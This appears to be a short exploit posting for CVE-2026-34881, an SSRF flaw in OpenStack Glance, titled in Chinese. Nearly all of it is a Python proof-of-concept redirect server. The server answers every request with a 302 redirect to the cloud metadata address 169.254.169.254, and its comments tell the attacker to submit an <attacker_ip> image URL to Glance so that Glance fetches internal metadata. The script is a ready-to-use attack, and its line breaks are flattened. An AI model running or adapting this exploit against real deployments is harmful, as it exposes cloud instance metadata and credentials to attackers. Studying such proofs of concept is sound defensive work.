CVE-2026-34881 OpenStack Glance SSRF漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-34881 # This script demonstrates a malicious server that redirects requests to internal services. from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): # Log the incoming request print(f"[+] Request received from: {self.client_address[0]}") # Send a 302 Redirect to an internal service (e.g., metadata service) internal_target = "http://169.254.169.254/latest/meta-data/" self.send_response(302) self.send_header('Location', internal_target) self.end_headers() self.wfile.write(b"Redirecting to internal service...") def run_server(port=80): server_address = ('', port) httpd = HTTPServer(server_address, MaliciousRedirectHandler) print(f"[*] Malicious redirect server listening on port {port}") print(f"[*] Attacker uses this URL in Glance: http://<attacker_ip>:{port}/image.iso") httpd.serve_forever() if __name__ == "__main__": run_server()